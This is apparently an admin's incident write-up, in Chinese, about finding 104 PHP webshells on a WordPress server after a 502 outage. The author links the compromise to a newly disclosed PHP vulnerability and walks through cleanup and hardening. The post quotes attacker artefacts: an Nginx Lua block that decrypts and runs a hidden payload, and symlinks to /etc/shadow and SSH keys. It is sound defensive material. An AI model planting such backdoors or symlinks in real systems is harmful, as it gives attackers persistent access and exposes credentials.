网站 502 的背后:我挖出 104 个 WebShell,和那个叫 PHP2Shell 的 PHP 核弹漏洞

下午两点半,同事说站打不开了。

我打开页面,一片 502。第一反应很平常:PHP-FPM 又挂了呗,重启一下就好。结果这一次,从一条 502 一路挖到今天凌晨被人写进服务器的 104 个后门,还有那个 10 月 21 日刚披露、代号 PHP2Shell 的 PHP 核弹级漏洞。

把过程完整写下来,该踩的坑我都替你踩了。

一、502 只是表象

我的环境是 1Panel + OpenResty(Docker)+ 两个 PHP-FPM 容器:php-8-1(8.1.31,跑 WordPress)和 php7-4(7.4.33,跑一个自建小应用)。

进服务器先看日志,Nginx 的 error.log 在刷这一行:

recv() failed (104: Connection reset by peer) while reading response header from upstream,
client: xxx, server: zxiaolin.com, request: "GET / HTTP/2.0", upstream: "fastcgi://127.0.0.1:9000"

再看容器:

docker exec php-8-1 supervisorctl status
php-fpm:php-fpm_00    STOPPED    Oct 22 02:27 PM

PHP-FPM 是被主动停掉的,不是崩溃。而 supervisor 对「主动 stop」不会自动重启,所以它就那么一直躺着,站就一直 502。顺手一查,php7-4 更离谱,从前一天晚上 19:17 就停了 —— 那个站已经 502 了快一天没人发现。

到这一步,看起来还只是运维事故。重启完,两个站都回来了。

二、日志里出现了不该有的文件

问题是我顺手翻了翻容器日志,看到了这些:

GET /.navfix5.php   200
GET /.navfix6.php   200
GET /.navfix7.php   200
GET /.navfix8.php   500   ← PHP Fatal error: Undefined constant "SIGUSR2"
GET /.navfix9.php   200
GET /.navfix10.php  200

.navfix8.php 在干什么?打开一看,它在 /proc/*/cmdline 里找 php-fpm: master 的 PID,然后 posix_kill($pid, SIGUSR2) —— 手动给 PHP-FPM 发信号。

我不是在跑这个东西。

继续翻网站根目录,ls -la 之后我盯着那一列属主发呆:

-rw-r--r-- 1 root root  1134 Oct 22 14:28 .boot.php
-rw-r--r-- 1 root root  1345 Oct 22 14:27 .navfix10.php
-rw-r--r-- 1 root root  1481 Oct 22 14:27 .navfix11.php
...
-rw-r--r-- 1 root root    86 Oct 22 03:13 .p9000.php

全是 root 属主。这意味着写这些文件的那个进程,权限比我以为的高得多。

三、更狠的还在后面

紧接着我看到一批以 qa_ 开头的文件,全是符号链接:

qa_shadow  -> /etc/shadow
qa_passwd  -> /etc/passwd
qa_hostkey -> /etc/ssh/ssh_host_ed25519_key
qa_r_ak    -> /root/.ssh/authorized_keys
qa_r_rsa   -> /root/.ssh/id_rsa
qa_r_ed    -> /root/.ssh/id_ed25519

有人把系统最敏感的几份文件,软链到了网站根目录。我随手一测:

curl -sk -o /dev/null -w '%{http_code}' https://zxiaolin.com/qa_shadow
200

200。

/etc/shadow(root 密码哈希)在公网上可以直接下载。那一刻我手心是凉的。

四、真正的后门:104 个

我开始按特征全盘扫。第一轮抓到一个固定密钥的家族,AES-128-ECB 加密命令、解出来直接 system() 执行,散在 wp-admin、wp-includes、wp-content/languages、uploads 各种年份目录里,共 20 个。

真正让人头皮发麻的是第二轮。我扫 uploads 目录下的 PHP 文件:

find /www/1panel/www/sites/*/index -path "*uploads*" -name "*.php" | wc -l
84

WordPress 的 uploads 目录里,永远不应该出现 PHP 文件。这 84 个文件长得像正常的资源名(loader-xxx.php、cache-xxx.php、health-xxx.php),实际是第二种变种:每个文件用独立的随机密钥,从同目录一个隐藏的 .xxxx.dat 文件里读出密文,AES-128-CBC 解密后执行。

配套的加密载荷,78 个。

再往外扫,还在 Nginx 配置目录里找到一个更过分的:

server {
    listen 34567;
    location /node-6a1c74b3 {
        content_by_lua_block {
            local fh = io.open("/www/conf.d/.python-6a1c74b3.dat", "rb")
            local cip = aes:new("****", nil, aes.cipher(128, "ecb"))
            local src = cip:decrypt(enc)
            local fn = loadstring(src, "node-runner")
            pcall(fn)
        }
    }
}

一个独立的、用 Lua 写的加密后门通道,监听 34567,从加密文件里加载代码执行。跟 PHP 一点关系都没有 —— 意思是就算我把 PHP 全线换掉,这条路还在。

五、时间线,对得可怕

把所有日志按时间排出来,故事就很清楚了:

时间(10 月 22 日) 发生了什么
01:10 攻击者已经在调用第一个 WebShell,并且在试密钥(故意用 k=bad 试错)
01:20–01:53 批量投放 WebShell 到 wp-admin、wp-includes、wp-content 各目录
02:05 上传 dbprobe.php,拿真实数据库账号密码去探 MySQL
02:22–02:23 建符号链接,把 /etc/shadow、/etc/passwd、SSH 私钥目录挂到网站根目录
02:36–03:05 继续铺量,uploads 里的 84 个变种一直在用
14:25–14:27 有人跑 .navfix*.php 想重启 PHP-FPM,结果把 FPM 停了,站挂
14:30 我发现网站 502

然后我想起前一天看到的一条预警。

六、PHP2Shell:10 月 21 日刚披露的核弹

10 月 21 日,PHP 官方披露了两个核心层漏洞:

项目 内容
编号 CVE-2026-109618、CVE-2026-109619(CNVD-2026-41674 / 41675)
代号 PHP2Shell
类型 Use-After-Free(CWE-416)
评分 CVSS v3.1 = 9.8,部分通报按 v4.0 计 9.2
影响 8.5.x < 8.5.12、8.4.x < 8.4.27、8.3.x < 8.3.36、8.2.x < 8.2.35,8.1 及更早全中
修复 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35
形态 mod_php、PHP-FPM、php-cgi、FrankenPHP、LiteSpeed 全部受影响

两个漏洞的成因不太一样:

  • CVE-2026-109618:请求处理中内存耗尽(OOM)时,PHP 用 longjmp() 中断执行,某些条件下请求数据只初始化了一半,清理阶段碰到这块非法内存,就成了内存破坏。攻击者可以用特制的 multipart POST 直接把内存打爆来触发。
  • CVE-2026-109619:PHP 在内存释放后还留着指向它的全局状态,下一个请求访问到这个「陈旧的指针」,就是经典的释放后使用。

共同点是:不需要登录,一个特制 POST 请求就够。

而我服务器上的版本:

php-8-1: PHP 8.1.31   ← 受影响,且 8.1 已 EOL,官方不再给修复版本
php7-4 : PHP 7.4.33   ← 受影响,EOL
宿主机  : PHP 8.3.6    ← 低于 8.3.36,同样受影响

漏洞 10 月 21 日披露,我的服务器 10 月 22 日凌晨 1 点就被人写进了 WebShell。这个时间差,不需要更多解释了。

还有个细节挺讽刺:我的 Nginx 全局 client_max_body_size 设的是 2048m(当时为了视频上传放的),而这个漏洞恰好是靠「把内存打爆」来触发的。权限给得越大,利用越容易。

七、我做了什么

按处理顺序,可以照着抄:

1. 先恢复可用性

docker exec php-8-1 supervisorctl start php-fpm:php-fpm_00

注意 supervisor 的组名是 php-fpm:php-fpm_00,直接写进程名会报 no such process。

2. 隔离,不要直接删

所有后门按原路径结构移到 /root/zl_quarantine_<日期>/,保留时间戳和属主,后面要取证、要看攻击者手法,都靠这些。删了就什么都查不到了。

3. 关掉那条跟 PHP 无关的通道

把 Nginx 那个 Lua 后门配置移出 conf.d,然后 先跑 nginx -t 再 reload。这一步我差点翻车:直接往站点 conf 末尾追加 location,结果落到了 server 块外面,nginx -t 直接 [emerg] location directive is not allowed here。幸好测试拦住了,线上没受影响。正确的位置是在 server 块内 include 的 rewrite 文件里。

4. 堵住投毒入口

在站点的 rewrite 配置里加一条,让 uploads 目录永远不能执行 PHP:

location ~* ^/(wp-content/uploads|upload|files)/.*\.(php|phtml|php5|php7|phar)$ {
    return 403;
}

验证方式:往 uploads 扔一个探针 PHP,访问它必须返回 403,正常页面必须还是 200。我实测两边都符合。

5. 升级 PHP

这是唯一真正的修复。8.1 和 7.4 都已经 EOL,官方只提供源码级 backport,没有现成版本可以升。所以正路是在 1Panel 里构建新的 PHP 8.3.36+(或 8.4.27)运行环境,换端口起一个新容器,把站点切过去,旧容器留着当回滚手段,跑稳几天再停。

有个坑要提醒:如果你用 B2 这类加密主题,它依赖 swoole_loader(Swoole Compiler),新版本 PHP 必须配对应的 loader,否则主题白屏。扩展要照着旧容器 php -m 的输出一个一个对齐。

八、几条真心的教训

EOL 的版本就是定时炸弹。 8.1 已经停止维护,出事的时候官方连补丁都不给你,只有一个「自己编译 backport」的选项。省下来的升级成本,会在某个凌晨连本带利还回来。

uploads 能执行 PHP,迟早会被利用。 这是最经典、最不需要技术含量的上传点。一条 Nginx 规则的事,别等出事再补。

502 不要只看「进程挂没挂」。 我差点就停在「重启一下」这一步。多花十分钟翻日志,结论会完全不同 —— 那行 php-fpm_00 STOPPED 背后的真相,是有人用手在停它。

root 属主的可疑文件 = 权限已经丢了。 网站目录里出现 root 属主的文件,说明写入方不是 www-data,而是更高权限的进程。这时候要考虑的就不是「删文件」,而是「这台机器还能不能信」。

敏感文件被软链到 web 目录,比后门还致命。 /etc/shadow 能被公网 200 下载,等于密码哈希直接送人。配合已经泄露的 SSH 私钥目录,攻击者可以横向到其他机器。这类事情发生后,轮换凭据是必须的,重装重建往往才是正确答案。

最后说个感受。我处理过不少「网站打不开」,绝大多数确实是配置、证书、磁盘、进程这些无聊的原因。但这一次,从一条 502 一路挖到 104 个后门和一个 9.8 分的核弹漏洞,让我重新意识到一件事:可用性故障和入侵事件,在最初那几分钟里长得一模一样。

多看十分钟日志,可能就是两个完全不同的结局。


参考:

  • PHP 官方公告:https://www.php.net/archive/2026.php#2026-10-21-5
  • 加拿大 Cyber Centre 警报 AL26-026
  • 国家网络安全通报中心预警(CNVD-2026-41674 / CNVD-2026-41675)